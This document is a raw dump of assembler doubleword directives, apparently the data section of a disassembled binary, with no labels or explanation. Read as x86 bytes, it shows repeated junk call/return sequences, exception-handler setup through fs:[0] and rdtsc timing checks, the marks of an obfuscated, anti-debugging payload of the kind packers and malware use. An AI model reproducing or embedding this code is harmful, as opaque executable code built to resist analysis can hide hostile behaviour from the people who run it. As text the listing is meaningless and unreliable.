		dd 8F58858Dh, 0CF8105EBh, 7E844D01h, 505F5390h,	10E9h
		dd 3DF94D00h, 0F114DEB8h, 96F40EBh, 2BB820AAh, 0BF0F9022h
		dd 35FF64F8h, 0
		dd 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h, 15h, 5FC35040h
		dd 2589648Bh, 0
		dd 21759D01h, 85FF05E8h, 5E82545h, 0E855006Ah, 3, 5DC35D20h
		dd 4246C89h, 4244481h, 1Dh, 43C35545h, 8E7539DFh, 460114EEh
		dd 0FFF6AA6h, 9E9FFBFh,	0E5000000h, 6118E456h, 101DB53Fh
		dd 16B1B5FFh, 48BF05E8h, 0FF7C5BD4h, 0E82FAD95h, 11FE905h
		dd 95890000h, 5E80A49h,	26DBD89h, 0B005E8h, 99BD8960h
		dd 0F05E82Fh, 38Dh, 0CF8B6600h,	8170E661h, 0B6C3CADFh
		dd 6671E43Fh, 613CD98Bh, 0EB830Fh, 0DE90000h, 0E4000000h
		dd 1E78EE2Ah, 0BBC734EFh, 669E139Bh, 89C8B60Fh,	0E8293585h
		dd 6BA05h, 0BD030000h, 5E830D9h, 0BD8BC18Bh, 5E816F1h
		dd 0E904E8C1h, 10h, 0A9E7FE09h,	572C3A90h, 3CC39D0Fh, 2C298AC4h
		dd 89E2F766h, 0E8229995h, 0FC82B05h, 9D0BD8BFh,	5E810A5h
		dd 0BD09D18Bh, 5E80981h, 0E9h, 35858B00h, 8B05E811h, 0E80D19BDh
		dd 7C08305h, 0C2B2BF66h, 3100C083h, 0E82E65BDh,	0FD03B05h
		dd 1183h, 0AD9D8900h, 0E905E82Dh, 55h, 2FB19D89h, 8D8B05E8h
		dd 5E819F1h, 0BE860h, 32D40000h, 0C9604BBh, 0FE9AB1FCh
		dd 850F72h, 5F000000h, 61F88B66h, 0F01E183h, 2484h, 0ED9D8B00h
		dd 8305E819h, 0E819F1A5h, 9D8BFE05h, 5E81475h, 11359589h
		dd 8F0F05E8h, 0
		dd 0E9h, 88B58D00h, 6605EBE4h, 6AFA8Bh,	3289BD89h, 95FF05E8h
		dd 5E820F9h, 0C259D29h,	47B905E8h, 6A00000Ah, 3E85700h
		dd 20000000h, 895FC35Fh, 8104247Ch, 1C042444h, 47000000h
		dd 99FCC357h, 33C33A41h, 296C7C12h, 0E82DAD95h,	0FCE18305h
		dd 0F25BD0Bh, 6AFC05E8h, 3E85700h, 20000000h, 895FC35Fh
		dd 8104247Ch, 1D042444h, 47000000h, 24CEC357h, 0A427B90Eh
		dd 59FAE40h, 0B8h, 57006A00h, 3E8h, 0C35F2000h,	247C895Fh
		dd 24448104h, 1604h, 0C3574700h, 0E8C6EED0h, 0Bh, 90B2A570h
		dd 946B632Dh, 809C219Eh, 0BA5BE0C3h, 0
		dd 599D8B50h, 5F05E80Ah, 0D1C233ADh, 83D003E8h,	0F47504E9h
		dd 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h, 16h, 0E0C35040h
		dd 0D780F2E4h, 0C1BD2B6Ah, 0D05E82Fh, 88h, 0E857006Ah
		dd 3, 5FC35F20h, 4247C89h, 4244481h, 17h, 0EEC35747h, 906F0CFh
		dd 0E81FBD8Dh, 0DF8B6605h, 159D958Bh, 0BE805E8h, 8B000000h
		dd 0EA64D265h, 9B11AD14h, 9D0B5861h, 5E823D5h, 58D8B5Fh
		dd 5005E807h, 188BC28Bh, 188BC103h, 0E8D1C18Bh,	188BC203h
		dd 52006A58h, 3E8h, 0C35A2000h,	2454895Ah, 24448104h, 1404h
		dd 0C3524200h, 6A5F52B2h, 3E85700h, 20000000h, 895FC35Fh
		dd 8104247Ch, 1D042444h, 47000000h, 639BC357h, 0DF8DB139h
		dd 1FC23803h, 246D8589h, 0BD8305E8h, 5E82E71h, 44840F00h
		dd 66000000h, 0B8F88Bh,	60000000h, 325718B9h, 859D8961h
		dd 6105E80Dh, 4D6A8D8Dh, 0BD8905E8h, 5E830CDh, 6AE1FFh
		dd 3E851h, 59200000h, 4C8959C3h, 44810424h, 190424h, 51410000h
		dd 13C5C3h, 832BA79Fh, 0E80A61BDh, 840F0005h, 4BAh, 0E855006Ah
		dd 3, 5DC35D20h, 4246C89h, 4244481h, 1Ah, 0A7C35545h, 3BFEF5FEh
		dd 95893E13h, 5E80FF1h,	58B0Fh,	81660000h, 83F2CFF3h, 0E80A61BDh
		dd 840F0105h, 495h, 6800Fh, 9D330000h, 5E82B45h, 0A61BD83h
		dd 0F0305E8h, 44686h, 55006A00h, 3E8h, 0C35D2000h, 246C895Dh
		dd 24448104h, 1804h, 0C3554500h, 83DC4A16h, 2DBD0314h
		dd 6005E810h, 66D1BF0Fh, 610B59BBh, 55006A60h, 3E8h, 0C35D2000h
		dd 246C895Dh, 24448104h, 1D04h,	0C3554500h, 0C7DFF1A0h
		dd 3DCADBBCh, 14E9450Bh, 89000000h, 0FAC3B3F4h,	95EE7123h
		dd 0CA6BE949h, 4F48F7ADh, 66C93B7Ch, 80F8D98Ch,	6A04E1h
		dd 3E852h, 5A200000h, 54895AC3h, 44810424h, 1B0424h, 52420000h
		dd 0B8EA60C3h, 0BF795E35h, 0E9BD8BEBh, 0A05E820h, 4D840FC9h
		dd 89000001h, 0E811999Dh, 0B1858B05h, 0F05E802h, 1889h
		dd 13E900h, 39A90000h, 85EF15CFh, 0F61E81DAh, 9D9B6D89h
		dd 2EC638F7h, 8D8960D6h, 5E82B45h, 3361F48Ah, 0E81BCD85h
		dd 5050B705h, 0DE950h, 0F3A40000h, 4C5D76E8h, 5BC714F4h
		dd 5F0DDD26h, 6A240489h, 3E85700h, 20000000h, 895FC35Fh
		dd 8104247Ch, 1D042444h, 47000000h, 0EF72C357h,	999B498h
		dd 9CB39FACh, 3800Fh, 0B70F0000h, 89006AF8h, 0E809B1BDh
		dd 0DF9C6805h, 5250AE65h, 6E860h, 0A7390000h, 2D5E41D5h
		dd 0BFF2B85Bh, 0F6151CAh, 4840F31h, 66000000h, 5AF973BBh
		dd 24048158h, 51B92463h, 0E855006Ah, 3,	5DC35D20h, 4246C89h
		dd 4244481h, 14h, 0A7C35545h, 151995FFh, 0B52905E8h, 5E82B51h
		dd 0B3F18589h, 6A05EBh,	3E853h,	5B200000h, 5C895BC3h, 44810424h
		dd 1B0424h, 53430000h, 0A6AFEFC3h, 558D77AFh, 6800FCEh
		dd 9000000h, 0E80BE195h, 66FA8A05h, 781CE381h, 216E9h
		dd 51006A00h, 3E8h, 0C3592000h,	244C8959h, 24448104h, 1D04h
		dd 0C3514100h, 21E70619h, 4C7B690Bh, 0BD8BE2DAh, 5E802F9h
		dd 0B3E9858Bh, 6A05EBh,	3E853h,	5B200000h, 5C895BC3h, 44810424h
		dd 160424h, 53430000h, 0E17E59C3h, 0AE8h, 579E1200h, 9E1C7181h
		dd 0E968E639h, 10h, 5B981C6Bh, 6213BFB1h, 1EB9A71Dh, 4A02587Eh
		dd 8E95Bh, 0F4550000h, 0D77AFCBFh, 0C77C4Bh, 18h, 0E853006Ah
		dd 3, 5BC35B20h, 4245C89h, 4244481h, 16h, 50C35343h, 0C78071AFh
		dd 0EDB58BFBh, 6A05EBB3h, 3E85500h, 20000000h, 895DC35Dh
		dd 8104246Ch, 19042444h, 45000000h, 44B8C355h, 8F0858D4h
		dd 297D9D8Bh, 858B05E8h, 5E83341h, 1F2D9D23h, 68905E8h
		dd 2DC1BD8Bh, 858B05E8h, 5E802B1h, 0E857006Ah, 3, 5FC35F20h
		dd 4247C89h, 4244481h, 18h, 69C35747h, 792B706h, 6A044689h
		dd 3E85200h, 20000000h,	895AC35Ah, 81042454h, 17042444h
		dd 42000000h, 5C89C352h, 9D8B425Eh, 5E82955h, 50525096h
		dd 50310F52h, 5A310F52h, 0F585A58h, 0FE831h, 55170000h
		dd 20993D20h, 0C9390BD1h, 4A6FEBB6h, 5B5F574Bh,	9650585Ah
		dd 6598D89h, 0BD8B05E8h, 5E81495h, 0B3E9B5FFh, 6A05EBh
		dd 3E853h, 5B200000h, 5C895BC3h, 44810424h, 170424h, 53430000h
		dd 39E037C3h, 0C99D8B00h, 0E905E802h, 6, 1B335ACCh, 11E95925h
		dd 1D000000h, 0ECCB7831h, 0C17CFDC8h, 9FB2FA50h, 60F7B539h
		dd 1F5D8968h, 830F44h, 81000000h, 5E762434h, 0BD8B4400h
		dd 5E831A1h, 0B3F1858Dh, 6DBB05EBh, 90722CB7h, 0C8D0F52h
		dd 0E9000000h, 7, 17F20A8Ch, 5FA7F4DDh,	13E99050h, 43000000h
		dd 29851C66h, 17A6E7B5h, 233D7231h, 0CDDD6622h,	95FF16CCh
		dd 5E81519h, 61D9BF0Fh,	29858529h, 0BB6605E8h, 85C75406h
		dd 5E80A61h, 3,	0BD83D98Bh, 5EBB3F1h, 44840F00h, 6A000000h
		dd 3E85200h, 20000000h,	895AC35Ah, 81042454h, 16042444h
		dd 42000000h, 561AC352h, 3CE963h, 6A0000h, 3E856h, 5E200000h
		dd 74895EC3h, 44810424h, 170424h, 56460000h, 487BF5C3h
		dd 50FA8A93h, 110C30h, 0C1011144h, 443010E8h, 4C000211h
		dd 83580311h, 0E77504E9h, 305036EBh, 64001104h,	0E8C10111h
		dd 11443010h, 11640002h, 0E9835803h, 0EBE77504h, 0E8C1501Bh
		dd 11642810h, 11443003h, 64285802h, 4300111h, 4E98311h
		dd 0EBE775h, 0B70FC08Bh, 0DE8B66FAh, 1B0D9D8Bh,	0BD8305E8h
		dd 5E80A61h, 0E850F03h,	0F000003h, 68Dh, 0A99D8B00h, 8305E805h
		dd 0EBB3F1BDh, 840F0005h, 2F5h,	0B5FFFA8Bh, 5EBB3F1h, 19798D01h
		dd 95FF05E8h, 5E81C09h,	0E851006Ah, 3, 59C35920h, 4244C89h
		dd 4244481h, 19h, 0ECC35141h, 0FFDAE3D8h, 81F98B7Ah, 1EADFFDFh
		dd 0E5B58B45h, 6A05EBB3h, 3E85100h, 20000000h, 8959C359h
		dd 8104244Ch, 1B042444h, 41000000h, 304CC351h, 0A731D200h
		dd 0E38084DDh, 106C7F2h, 8B000100h, 0D9BD8BD9h,	9605E82Ah
		dd 2800Fh, 5B510000h, 61BDBF50h, 6A96297Ch, 3E85100h, 20000000h
		dd 8959C359h, 8104244Ch, 16042444h, 41000000h, 5B60C351h
		dd 0C8F0FB9h, 0F000000h, 683h, 6D9D0300h, 0FF05E824h, 0EBB3F1B5h
		dd 51006A05h, 3E8h, 0C3592000h,	244C8959h, 24448104h, 1404h
		dd 0C3514100h, 0BD8D29A6h, 0FF05E80Eh, 0E808BD95h, 56006A05h
		dd 3E8h, 0C35E2000h, 2474895Eh,	24448104h, 1C04h, 0C3564600h
		dd 742BEA45h, 0B9A8C4EAh, 0BD8960A9h, 5E8105Dh,	39B52961h
		dd 8B05E803h, 0EBB3E5B5h, 5DBD8B05h, 8B05E82Fh,	0E814B985h
		dd 0FD9D0105h, 8905E828h, 0C486h, 3870F00h, 80000000h
		dd 958B2BF7h, 5E8159Dh,	1F819D8Bh, 0C28305E8h, 0D98B6604h
		dd 9205089h, 0E828858Dh, 5D858D05h, 8905EBC6h, 0B886h
		dd 0A1B58900h, 6A05E828h, 0F1B5FF00h, 6A05EBB3h, 3E85200h
		dd 20000000h, 895AC35Ah, 81042454h, 19042444h, 42000000h
		dd 606FC352h, 84C0F8FEh, 13B98529h
		dd 0B58905E8h, 5E80C61h, 0FFF88B66h, 0E82C2D95h, 56006A05h
		dd 3E8h, 0C35E2000h, 2474895Eh,	24448104h, 1A04h, 0C3564600h
		dd 2ECC59Eh, 8B98BC16h,	0E80DD59Dh, 52509605h, 0FFFBC9BFh
		dd 50310F5Ch, 5E852h, 0F96A0000h, 5F3AB19Ch, 0BF66310Fh
		dd 585AA008h, 9650585Ah, 68B0Fh, 0BD890000h, 5E82541h
		dd 2767BB66h, 0B3F1B5FFh, 6A05EBh, 3E853h, 5B200000h, 5C895BC3h
		dd 44810424h, 1B0424h, 53430000h, 51CA17C3h, 9E5FD0C3h
		dd 0FFBBB39Ah, 0E802C195h, 53006A05h, 3E8h, 0C35B2000h
		dd 245C895Bh, 24448104h, 1804h,	0C3534300h, 0F8EC1B4Ch
		dd 83D5B7AEh, 0E8025DBDh, 840F0005h, 1Ah, 1A599D8Bh, 0F5005E8h
		dd 486h, 1DBF6600h, 243489ABh, 2241BD8Bh, 0B5FF05E8h, 5EBB3F1h
		dd 75995FFh, 8BBF05E8h,	0FF303B4Dh, 0EBB3F1B5h,	15958905h
		dd 0FF05E81Fh, 0E8072595h, 6E905h, 7B4E0000h, 45CEF2EBh
		dd 29A9BD83h, 0F0205E8h, 2D84h,	0FE800h, 0F6C00000h, 8A0DD58Bh
		dd 0FC4B5718h, 0A562CB46h, 0B1BD8BACh, 5B05E80Ch, 133D858Bh
		dd 0B58905E8h, 5E81461h, 800000C6h, 85C725F3h, 5E812C1h
		dd 0
		dd 59C38166h, 0F49FE9FAh, 0BF66FFFFh, 0C18B5E5Ah, 0E856006Ah
		dd 3, 5EC35E20h, 4247489h, 4244481h, 1Bh, 2BC35646h, 8B8D2507h
		dd 89FD953Ah, 0E8157DB5h, 8DBCB305h, 0E81C1D85h, 56006A05h
		dd 3E8h, 0C35E2000h, 2474895Eh,	24448104h, 1904h, 0C3564600h
		dd 702A0EF7h, 850FA1B9h, 8, 0C1BD3153h,	5F05E81Fh, 11E850h
		dd 87170000h, 86D39DDFh, 6435EBFh, 6DC0D779h, 0BB20302Ch
		dd 3906342Eh, 2404895Bh, 0E851006Ah, 3,	59C35920h, 4244C89h
		dd 4244481h, 16h, 40C35141h, 0BD89BA7Ch, 5E8207Dh, 0F560006Ah
		dd 0A4C98166h, 6A61A2h,	2E659D23h, 858D05E8h, 5EC5D4Ah
		dd 83DF8B66h, 0BB6605C0h, 89504894h, 6A2404h, 3E857h, 5F200000h
		dd 7C895FC3h, 44810424h, 160424h, 57470000h, 0F348DBC3h
		dd 86F37BBh, 0F006A71h,	68Eh, 0ADBD0B00h, 6A05E807h, 55006A00h
		dd 3E8h, 0C35D2000h, 246C895Dh,	24448104h, 1404h, 0C3554500h
		dd 6850FA6h, 31000000h,	0E813C985h, 3D95FF05h, 6A05E820h
		dd 3E85600h, 20000000h,	895EC35Eh, 81042474h, 17042444h
		dd 46000000h, 9023C356h, 0BB66D314h, 8D8D7CEEh,	5EBA4DBh
		dd 0D1FFDE8Bh, 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h
		dd 14h,	94C35242h, 10B9BD83h, 0F0105E8h, 8A85h,	51006A00h
		dd 3E8h, 0C3592000h, 244C8959h,	24448104h, 1A04h, 0C3514100h
		dd 9940E536h, 0FEA9F4Dh, 688h, 0D1BD8900h, 5205E829h, 64A4DB81h
		dd 6A5F0960h, 21BD8B02h, 5005E81Fh, 12E9h, 0D4E15D00h
		dd 0B56EAFE7h, 0C5458B06h, 0E4D8D781h, 8978EE2Ah, 0BF662404h
		dd 95FFF14Bh, 5E82C2Dh,	0E850006Ah, 3, 58C35820h, 4244489h
		dd 4244481h, 19h, 58C35040h, 0D239A23Fh, 298D8910h, 0E905E833h
		dd 0E6Eh, 0E8h,	0ED815D00h, 5EC5D54h, 0E853006Ah, 3, 5BC35B20h
		dd 4245C89h, 4244481h, 1Ch, 0E5C35343h,	6BE6BA84h, 1735E329h
		dd 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h, 14h, 5C35040h
		dd 1AE98D89h, 858D05E8h, 5EB8F58h, 13E8h, 0A2E0FA00h, 70338984h
		dd 8263CE48h, 255AF681h, 4B190822h, 0E9505BF8h,	0Dh, 0B6D77F84h
		dd 0E7B40E39h, 13A5F3CFh, 240489E0h, 0E855006Ah, 3, 5DC35D20h
		dd 4246C89h, 4244481h, 1Ch, 77C35545h, 6935551Ah, 0B4CE93FDh
		dd 0CE9h, 623C6100h, 284ABAE0h,	3DE9E3BDh, 35FF64A8h, 0
		dd 1F41BD2Bh, 0CEBB05E8h, 64769EC0h, 2589h, 0B600000h
		dd 0E806998Dh, 0D08B6605h, 4585FF61h, 6A05E825h, 3E85600h
		dd 20000000h, 895EC35Eh, 81042474h, 17042444h, 46000000h
		dd 640DC356h, 8166C25Fh, 6A0F24CBh, 51006AFFh, 3E8h, 0C3592000h
		dd 244C8959h, 24448104h, 1704h,	0C3514100h, 0F2D45655h
		dd 3F4C6BBh, 39B5FF79h,	0FF05E81Ah, 0E82FAD95h,	0FAE905h
		dd 0BB660000h, 0B0CF1Dh, 0E4F970E6h, 59852971h,	3C05E816h
		dd 0E1830F61h, 81000000h, 97E279F7h, 0C8B60F6Ah, 59858B60h
		dd 905E82Ch, 0E822E1BDh, 6BA6105h, 29000000h, 0E822C595h
		dd 29858905h, 8B05E830h, 0F98A50C1h, 4E8C15Bh, 118D8960h
		dd 8B05E808h, 0F76661C6h, 12820FE2h, 0E8000000h, 6, 6ACCE1E5h
		dd 0BD8BF09Dh, 5E81379h, 0FC82B5Bh, 283h, 8B33B300h, 4D8D09D1h
		dd 0E905E815h, 12h, 0DE9h, 50A3BD00h, 0D761808Ch, 0A32C2638h
		dd 858B6E71h, 5E8093Dh,	327DBD8Bh, 0C08305E8h, 83A2B307h
		dd 0BB6600C0h, 0D03B4755h, 0E830Fh, 85290000h, 5E8101Dh
		dd 37E9h, 0C4DB8000h, 2918D8Bh,	9D0905E8h, 5E81419h, 0F01E183h
		dd 1F84h, 55BD0300h, 8305E82Dh,	0E80291A5h, 8531FE05h
		dd 5E80755h, 93D9589h, 0E9FC05E8h, 0
		dd 0F0B9B58Dh, 0BD8B05EBh, 5E80E11h, 6A006Ah, 3E852h, 5A200000h
		dd 54895AC3h, 44810424h, 1C0424h, 52420000h, 0D6E4F4C3h
		dd 54A4914h, 0FFF511C6h, 0E820F995h, 870B905h, 6A0000h
		dd 3E857h, 5F200000h, 7C895FC3h, 44810424h, 150424h, 57470000h
		dd 0E95037C3h, 0Ch, 0ACEF0651h,	769CC805h, 0A4327FB9h
		dd 0E18371B7h, 39B589FCh, 6605E802h, 0FFCD88Bh,	280h, 2BDF8B00h
		dd 55006AC0h, 3E8h, 0C35D2000h,	246C895Dh, 24448104h, 1B04h
		dd 0C3554500h, 0FCFD4895h, 0D4F35030h, 1FD9BD89h, 8A0F05E8h
		dd 2, 0BA26B7h,	0E9000000h, 7, 46606776h, 0B75107D7h, 0C233ADF3h
		dd 0D003E8D1h, 7504E983h, 71D781F4h, 6A703EDCh,	3E85000h
		dd 20000000h, 8958C358h, 81042444h, 1A042444h, 40000000h
		dd 9A68C350h, 34913AFFh, 0DBBF0FD1h, 880Dh, 0CE800h, 0EA1D0000h
		dd 22B3A5D3h, 789C4AD6h, 8B5F1E0Ch, 0E8159D95h,	0C98D8905h
		dd 8B05E802h, 0E807058Dh, 1D9D8905h, 0F805E822h, 8BC28B50h
		dd 8BC10318h, 0D1C18B18h, 8BC203E8h, 6A5818h, 3E856h, 5E200000h
		dd 74895EC3h, 44810424h, 1A0424h, 56460000h, 86F1C9C3h
		dd 0C90121BDh, 1FDD9D31h, 816605E8h, 83325EE3h,	0E82E71BDh
		dd 840F0005h, 44h, 0D7816660h, 61F83E51h, 0B8h,	6A8D8D00h
		dd 6A05E84Dh, 3E85700h,	20000000h, 895FC35Fh, 8104247Ch
		dd 17042444h, 47000000h, 0C720C357h, 810F4057h,	5, 323DF9BFh
		dd 66E1FF21h, 5152CF81h, 0A61BD83h, 0F0005E8h, 51284h
		dd 56006A00h, 3E8h, 0C35E2000h,	2474895Eh, 24448104h, 1B04h
		dd 0C3564600h, 10AB984Ch, 3B0AC7DDh, 10D1BD8Bh,	0BD8305E8h
		dd 5E80A61h, 0F7840F01h, 60000004h, 282D8589h, 816605E8h
		dd 61933EF3h, 0A61BD83h, 0F0305E8h, 4A786h, 52006A00h
		dd 3E8h, 0C35A2000h, 2454895Ah,	24448104h, 1D04h, 0C3524200h
		dd 39AD6CF0h, 44E8610Bh, 0BE9BB84h, 5E000000h, 93942EF4h
		dd 9A002837h, 0FE9BCA7h, 0B0000000h, 5FC2F8E0h,	0FD135090h
		dd 270D2085h, 0BB60C8B8h, 2C805F43h, 6AD98C66h,	3E85700h
		dd 20000000h, 895FC35Fh, 8104247Ch, 19042444h, 47000000h
		dd 2D7DC357h, 0FC2A62AEh, 80DE8B66h, 0DB8104E1h, 37CFD8B5h
		dd 840FC90Ah, 135h, 0AF49F381h,	858B2985h, 5E802B1h, 0E850006Ah
		dd 3, 58C35820h, 4244489h, 4244481h, 18h, 0ABC35040h, 493D509Ah
		dd 70BE6660h, 0BF61F90Fh, 799607F1h, 1BCD8533h,	0B50905E8h
		dd 5E82D85h, 89DD8A50h,	0B5292404h, 5E82115h, 6A006Ah
		dd 3E855h, 5D200000h, 6C895DC3h, 44810424h, 190424h, 55450000h
		dd 339884C3h, 0F5A0B4D1h, 0E8DBBF0Fh, 4, 1F03FFh, 0DD5DBB66h
		dd 8B0AB350h, 60042444h, 0BE8h,	8AE09200h, 3AAD1F1Dh, 91279CA7h
		dd 0F5F4B866h, 526CBB5Bh, 8B615979h, 5E900h, 1AA0000h
		dd 8946023Ch, 0BB042444h, 2825C7ADh, 51006A58h,	3E8h, 0C3592000h
		dd 244C8959h, 24448104h, 1D04h,	0C3514100h, 8967C5BBh
		dd 725DB46Ch, 953145D1h, 5E80005h, 151995FFh, 0BF6605E8h
		dd 8D31409Ah, 5E819FDh,	0B3F18589h, 9D8905EBh, 5E810F1h
		dd 25CE9F8h, 6A0000h, 3E850h, 58200000h, 448958C3h, 44810424h
		dd 170424h, 50400000h, 66663DC3h, 1D9D3119h, 8B05E810h
		dd 0E82435BDh, 0E9858B05h, 6A05EBB3h, 3E85700h,	20000000h
		dd 895FC35Fh, 8104247Ch, 1B042444h, 47000000h, 0C3B0C357h
		dd 0A0EEC2E1h, 0C7D6EEh, 18h, 0E850006Ah, 3, 58C35820h
		dd 4244489h, 4244481h, 1Ah, 5C35040h, 93BB7F78h, 0B58B9CCCh
		dd 5EBB3EDh, 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h
		dd 1Bh,	0C35343h, 0B785CA53h, 8BD56DCBh, 8B74B3D8h, 0E8334185h
		dd 55006A05h, 3E8h, 0C35D2000h,	246C895Dh, 24448104h, 1804h
		dd 0C3554500h, 0AF38C6DAh, 6D858909h, 2905E812h, 0E806C19Dh
		dd 0CCBF6605h, 6A06890Eh, 3E85100h, 20000000h, 8959C359h
		dd 8104244Ch, 19042444h, 41000000h, 0DEA3C351h,	29DD2A6Dh
		dd 858B62B3h, 5E802B1h,	9E8h, 80247800h, 0D18789h, 13E95DEDh
		dd 21000000h, 420FF65Ch, 81624F0Eh, 68F62FD6h, 2FC8FEB0h
		dd 895B0368h, 6A0446h, 3E853h, 5B200000h, 5C895BC3h, 44810424h
		dd 170424h, 53430000h, 0A42A7AC3h, 13E9A5h, 5DB30000h
		dd 28929EE7h, 60C65215h, 680066EFh, 15B84A2Ah, 23BB5022h
		dd 8914A941h, 6A2434h, 3E856h, 5E200000h, 74895EC3h, 44810424h
		dd 190424h, 56460000h, 5009B5C3h, 31A035F2h, 0E80D198Dh
		dd 0E59D0305h, 0FF05E807h, 0EBB3E9B5h, 52006A05h, 3E8h
		dd 0C35A2000h, 2454895Ah, 24448104h, 1B04h, 0C3524200h
		dd 0D530A76Eh, 7E2E3EA4h, 4E8FA8Ah, 0FF000000h,	50001F03h
		dd 1EBDB860h, 22BB2443h, 6172F118h, 424448Bh, 8BFE8Bh
		dd 0F8A4BF66h, 4244489h, 8B665250h, 8B310FFAh, 58585AF9h
		dd 6999D8Bh, 858D05E8h,	5EBB3F1h, 54E5E781h, 505014C3h
		dd 0DA8B6650h, 4895B5Fh, 11880F24h, 0E9000000h,	0Ch, 83F80788h
		dd 0F36EC510h, 6E98D91Ah, 151995FFh, 6A05E8h, 3E853h, 5B200000h
		dd 5C895BC3h, 44810424h, 150424h, 53430000h, 66E028C3h
		dd 0BB66DF8Bh, 6A615C7Ch, 3E85100h, 20000000h, 8959C359h
		dd 8104244Ch, 1B042444h, 41000000h, 0C275C351h,	78F3B4BAh
		dd 0F60BB2Dh, 68Ah, 6DB58B00h, 905E819h, 0E81F0DBDh, 85C76105h
		dd 5E80A61h, 3,	0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h
		dd 1Ch,	1C35545h, 0CD984E1Ch, 1AA3FF59h, 83FE8B66h, 0EBB3F1BDh
		dd 840F0005h, 44h, 0E851006Ah, 3, 59C35920h, 4244C89h
		dd 4244481h, 19h, 0FBC35141h, 0BA3BEF2h, 39E9B3h, 6A0000h
		dd 3E852h, 5A200000h, 54895AC3h, 44810424h, 160424h, 52420000h
		dd 0A09A9BC3h, 110C3050h, 1114400h, 3010E8C1h, 21144h
		dd 5803114Ch, 7504E983h, 5036EBE7h, 110430h, 0C1011164h
		dd 443010E8h, 64000211h, 83580311h, 0E77504E9h,	0C1501BEBh
		dd 642810E8h, 44300311h, 28580211h, 30011164h, 0E9831104h
		dd 0EBE77504h, 6AC08B00h, 3E85100h, 20000000h, 8959C359h
		dd 8104244Ch, 1D042444h, 41000000h, 91CBC351h, 5081D47Bh
		dd 7909EC3Ah, 251BD33h,	0BD3305E8h, 5E82135h, 0A61BD83h
		dd 0F0305E8h, 4A685h, 55006A00h, 3E8h, 0C35D2000h, 246C895Dh
		dd 24448104h, 1C04h, 0C3554500h, 35FB5A44h, 0A915393Fh
		dd 58A0FB6h, 0BF000000h, 74F86228h, 0B3F1BD83h,	0F0005EBh
		dd 46A84h, 53006A00h, 3E8h, 0C35B2000h,	245C895Bh, 24448104h
		dd 1D04h, 0C3534300h, 58F96E6Bh, 6DEBBC77h, 0F602BF5h
		dd 0F560D9B7h, 896161FCh, 0E813199Dh, 0F1B5FF05h, 6A05EBB3h
		dd 3E85600h, 20000000h,	895EC35Eh, 81042474h, 19042444h
		dd 46000000h, 0AB1AC356h, 0F38F768Ah, 0E19D8BF8h, 0FF05E814h
		dd 0E81C0995h, 999D8B05h, 8B05E82Fh
		dd 0EBB3E5B5h, 53006A05h, 3E8h,	0C35B2000h, 245C895Bh
		dd 24448104h, 1704h, 0C3534300h, 7DC1D3C6h, 3800Fh, 0CF800000h
		dd 0DE8D0h, 0C78B0000h,	0C1F71C98h, 76B120B9h, 663EFA44h
		dd 0C75FFE8Bh, 1000106h, 8E89600h, 4000000h, 0BE97E67Eh
		dd 568F330Eh, 8E0Fh, 5B5F0000h,	9BB96050h, 6163E55Ch, 53006A96h
		dd 3E8h, 0C35B2000h, 245C895Bh,	24448104h, 1B04h, 0C3534300h
		dd 6126A734h, 0C55DBFDh, 1870Fh, 0FF80000h, 75BBFBBFh
		dd 0FF382873h, 0EBB3F1B5h, 0B99D2305h, 8905E81Bh, 0E80D7195h
		dd 0BD95FF05h, 6A05E808h, 3E85700h, 20000000h, 895FC35Fh
		dd 8104247Ch, 15042444h, 47000000h, 4392C357h, 0B3E5B58Bh
		dd 6A05EBh, 3E852h, 5A200000h, 54895AC3h, 44810424h, 1A0424h
		dd 52420000h, 0D85601C3h, 197F269Dh, 0FE9h, 3F409B00h
		dd 55CD3C9Ah, 74B18E8Eh, 674B728h, 14B9858Bh, 6A05E8h
		dd 3E855h, 5D200000h, 6C895DC3h, 44810424h, 190424h, 55450000h
		dd 9EFE9C3h, 8923512Ah,	0C486h,	50006A00h, 3E8h, 0C3582000h
		dd 24448958h, 24448104h, 1A04h,	0C3504000h, 0B638D0Dh
		dd 8929A1F3h, 0E8227995h, 9D958B05h, 0BB05E815h, 2C3A326Eh
		dd 2DAD9D89h, 0C28305E8h, 6870F04h, 89000000h, 0E808E985h
		dd 20508905h, 0E850006Ah, 3, 58C35820h,	4244489h, 4244481h
		dd 1Ah,	0A3C35040h, 1D2F6391h, 0BD8B4CD2h, 5E82459h, 0C65D858Dh
		dd 0B58905EBh, 5E81B5Dh, 0B88689h, 6A0000h, 3E852h, 5A200000h
		dd 54895AC3h, 44810424h, 1A0424h, 52420000h, 1A93C9C3h
		dd 65E03379h, 819D2960h, 0E905E814h, 9,	1AEA0A34h, 0AEB1084Ah
		dd 0BF0F61BEh, 8B006ADBh, 0F1B5FFD8h, 6A05EBB3h, 3E85200h
		dd 20000000h, 895AC35Ah, 81042454h, 1D042444h, 42000000h
		dd 6446C352h, 2F2BA31Eh, 9DE03B35h, 2C2D95FFh, 6A05E8h
		dd 3E856h, 5E200000h, 74895EC3h, 44810424h, 1C0424h, 56460000h
		dd 5FEF8FC3h, 8C8EC367h, 9D8BC5E6h, 5E811A1h, 13E9h, 0BB261100h
		dd 7A4EEEE8h, 0A6855351h, 691C6A05h, 881487D6h,	14E996h
		dd 0D5C00000h, 0FDC3EC74h, 76AC6A75h, 905A9309h, 75E63C45h
		dd 0E850F325h, 6, 8575461Eh, 8B663968h,	6A965FD8h, 3E85300h
		dd 20000000h, 895BC35Bh, 8104245Ch, 14042444h, 43000000h
		dd 0BF53C353h, 5EA81A7h, 0D8DBD29h, 0B5FF05E8h,	5EBB3F1h
		dd 0FFDA8B66h, 0E802C195h, 1DBD0B05h, 8305E810h, 0E8025DBDh
		dd 840F0005h, 2Eh, 5096DA8Bh, 13E8h, 6F3C9C00h,	4E75F9D5h
		dd 10A65697h, 2C33BCEh,	1E924C53h, 5F505250h, 0F88B310Fh
		dd 965F585Ah, 21459D8Bh, 0B5FF05E8h, 5EBB3F1h, 36C3E781h
		dd 95FF6C3Ch, 5E80759h,	0E850006Ah, 3, 58C35820h, 4244489h
		dd 4244481h, 14h, 21C35040h, 0A299D89h,	0B5FF05E8h, 5EBB3F1h
		dd 0EBABE3BFh, 5E94Ah, 36350000h, 0FFC7F1B8h, 0E8072595h
		dd 51006A05h, 3E8h, 0C3592000h,	244C8959h, 24448104h, 1D04h
